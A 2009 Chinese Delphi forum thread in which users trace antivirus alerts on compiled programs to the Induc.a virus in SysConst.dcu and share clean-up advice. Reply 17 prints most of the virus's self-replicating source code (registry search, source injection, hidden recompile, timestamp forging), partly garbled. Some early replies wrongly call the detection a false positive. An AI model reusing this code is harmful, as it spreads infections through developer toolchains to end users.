| 技术论坛 |
|
|
| ≡技术区≡ ① |
| DELPHI技术 |
| lazarus/fpc/Free Pascal |
| 移动应用开发 |
| Web应用开发 |
| 数据库专区 |
| 报表专区 |
| 网络通讯 |
| 开源项目 |
| 论坛精华贴 |
| ≡发布区≡ ② |
| 发布代码 |
| 发布控件 |
| 文档资料 |
| 经典工具 |
| ≡事务区≡ ③ |
| 网站意见 |
| 盒子之家 |
| 招聘应聘 |
| 信息交换 |
| 论坛信息 |
|||
|
| 导航： | 论坛 -> DELPHI技术 斑竹:liumazi,sephil | |||||
| 作者： |
|
2009/8/17 8:32:50 | ||||
| 标题： |
|
加入我的收藏 | ||||
| 楼主： | 以前一直没有问题，今天发现只要delphi7一编译，卡巴立即报Virus.Win32.Induc.a 毒，不知真假？ ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/17 8:51:18 | ||||
| 1楼： | 看到后，我也试了下，编译是不会报毒，但运行编译后的程序时，卡巴会报Virus.Win32.Induc.a 毒，可能又是误报了。（我用的是正版卡巴） ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/17 12:16:09 | ||||
| 2楼： | 的确如此，让它清除一下“病毒”，还是能正常运行的，那就让它“清除”一下“病毒”吧，看来卡巴斯基的特征码也太“广泛”和“敏感”了。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/17 13:13:40 | ||||
| 3楼： | 我也是这种情况。 杀了一下毒以后发现sysconst.dcu报毒。同时sysconst.pas却不见了 我怀疑是有病毒故意的。 解决方法 删除sysconst.dcu 重新拷贝一个sysconst.pas即可 或者重装delphi7 ---------------------------------------------- -BinJian's blog is http://www.sleepless.org.cn |
|||||
| 作者： |
|
2009/8/17 14:10:54 | ||||
| 4楼： | 用 88510731 (冰剑(BinJian)) 的方法处理后确实没有报毒了，同时发现，编译后的可执行文件变小了，比如原来只有一个空窗口的程序编译出来的是368 KB，现在同样的程序编译出来的是362 KB，减少了6 KB的体积。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/17 20:14:52 | ||||
| 5楼： | 如果在 C:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和 SysConst.dcu (18KB)，那么恭喜你，中招了。 http://forum.kaspersky.com/index.php?s=19f451e051b4c76094926a2db105fae6&showtopic=128418 看来这种病毒的概念是由源头来开始计划，将会影响很多程序。因为产生程序的同时已经带毒。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/17 22:24:45 | ||||
| 6楼： | to xinxinxin 是啊 我也没想到会出专门针对delphi的病毒 我还在拼命找自己程序的原因。 我也是无意中发现的。我编译个空程序也带毒后来就想到了会不会是dcu带毒 ---------------------------------------------- -BinJian's blog is http://www.sleepless.org.cn |
|||||
| 作者： |
|
2009/8/18 8:58:19 | ||||
| 7楼： | 我怎么编译一个空窗体程序得到的文件大小是355kb啊？你们怎么会是362kb呢？ ---------------------------------------------- -上帝给我们的脑子编程，我们给电脑编程，可上帝却始终站在电脑一边... |
|||||
| 作者： |
|
2009/8/18 9:36:52 | ||||
| 8楼： | 我的D7里好像也有这个sysconst.bak，看文件日期是2004年06-02，是不是也中毒了吗？ 真是恐怖啊，这个毒有什么具体破坏性？ ---------------------------------------------- 我打的是酱油，而不是别的什么油。 我灌的是口水，而不是别的什么水。 我聊的折腾不是那个不折腾的折腾。 我说的阿娇不是那个邓玉娇的阿娇。 3个代表,6个为什么,9个肠胃炎。 D性强的领导干部都不喜欢热比娅。 我特别要讲的是,屁民网黄色论坛是我经常上网必选的 网站之一 |
|||||
| 作者： |
|
2009/8/18 10:51:44 | ||||
| 9楼： | 你机器感染病毒了,寄生木马 ---------------------------------------------- |
|||||
| 作者： |
|
2009/8/18 11:06:08 | ||||
| 10楼： | 如果你们曾经使用过innounp增强版，那么你就已经被修改了 sysconst.dcu 了。这是其中一个源头，相信这个病毒衍生的东西太多了。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/18 14:15:32 | ||||
| 11楼： | 我的机子也中招了，谁有正常的文件请传上来一份。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/18 15:58:45 | ||||
| 12楼： | 上周六发了个delphi的exe还能发送出去，这周一再发送邮件就给退回来了说有病毒了，才知道有这回事。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/18 17:08:31 | ||||
| 13楼： | 没带毒的文件 program files\Borland\Delphi7\Source\Rtl\Sys\SysConst.pas program files\Borland\Delphi7\Lib\SysConst.dcu
声明：本人不在论坛询问任何编程问题，请不要将我的帖子当成问题来回答。炒股一天，编程三年，不浪费时间了。 经常在外面,没空,不要找我.. |
|||||
| 作者： |
|
2009/8/18 17:47:24 | ||||
| 14楼： | 如 xinxinxin 所说 我这里的确是一个源头 在此期间,导致该病毒传播范围扩大. 本人深感抱歉. 已知本站的程序带毒名单如下: Inno Setup Water 水波效果插件 FOR Inno setup Innounp IsUnp InnoGPW CodeGear RAD Studio 2009 绿化程序 已下载过的本站的程序,请重新到网盘里重新下载覆盖. ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/18 18:04:03 | ||||
| 15楼： | 哎，被毒死了 ---------------------------------------------- |
|||||
| 作者： |
|
2009/8/18 18:04:23 | ||||
| 15楼： | 大家中 才是真的中, 我也中招了。。。 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/18 19:23:33 | ||||
| 16楼： | 我在别的不相关的论坛灌水，没上来下载，没事。 ---------------------------------------------- 声明：本人不在论坛询问任何编程问题，请不要将我的帖子当成问题来回答。炒股一天，编程三年，不浪费时间了。 经常在外面,没空,不要找我.. |
|||||
| 作者： |
|
2009/8/18 19:43:20 | ||||
| 17楼： | 正常的sysconst.pas文件，是用来定义字符串资源，没可执行的过程和函数，即 implementation 到 end.是空的。 用记事本打开网友上传中了毒的sysconst.dcu，里面可以找到这段“源代码”： uses windows; var sc:array[1..24] of string=( ����P function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i] ����P =#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile; ����P h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin ����P h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle ����P (h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile ����P (f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while ����P not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0 ����P then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2 ����P ,$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2, ����P x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$ ����P )); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f. ����P wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0, ����P f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), ����P pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3, ����P 0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:= ����P CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h, ����P @t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of ����P char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx( ����P HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then ����P begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:= ����P 1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+ ����P $.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end; ���� begin st; end. 用笔记本打开 sysconst.dcu 见到这段码就是中毒了，相信其它中毒的 dcu 也会见到这段代码。
声明：本人不在论坛询问任何编程问题，请不要将我的帖子当成问题来回答。炒股一天，编程三年，不浪费时间了。 经常在外面,没空,不要找我.. |
|||||
| 作者： |
|
2009/8/19 9:01:31 | ||||
| 18楼： | 14号，发现自己中毒了，原因是自己下载了一个正则表达式的控间，现在到底有没有具体的解决办法？病毒已经将我机器里的所有delphi编译出来的 .exe都 感染了，无论是以前编译的，还是刚刚编译的。重装delphi能不能彻底解除？ ---------------------------------------------- efasf |
|||||
| 作者： |
|
2009/8/19 10:00:53 | ||||
| 19楼： | 论坛的上传的很多程序也被染了毒的,我就是下载论坛上的程序然后未编译直接运行被中招 具体的是TCPAdoServerClientsTable控件 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/19 10:06:24 | ||||
| 20楼： | 不需要重装DELPHI.找一个干净的SYSCONST.DCU文件覆盖,然后把以前所有编译的EXE全部删除,重编译 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/19 14:50:33 | ||||
| 21楼： | 我的SYSCONST.DCU文件里也发现了类似的代码 但是SYSCONST.DCU的修改日期是2002年8月20日 说明很早该病毒就已经被打包进去了 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/19 21:48:27 | ||||
| 22楼： | 要看日期，还要看文件大小，11K左右的是正常的 ---------------------------------------------- - |
|||||
| 作者： |
|
2009/8/19 23:22:06 | ||||
| 23楼： | 21楼，病毒将修改日期改回2002年8月20日，你就当真，有没有搞错。 ---------------------------------------------- 声明：本人不在论坛询问任何编程问题，请不要将我的帖子当成问题来回答。炒股一天，编程三年，不浪费时间了。 经常在外面,没空,不要找我.. |
|||||
| 作者： |
|
2009/8/20 11:20:28 | ||||
| 24楼： | 邪恶的笑下，我的系统没问题 ---------------------------------------------- 本人，男，35岁，无房无车，无权无势，招一名贤良淑德、善解人意的女孩，拜金、月光的请勿打扰。 |
|||||
| 信息 |
| 登陆以后才能回复 |
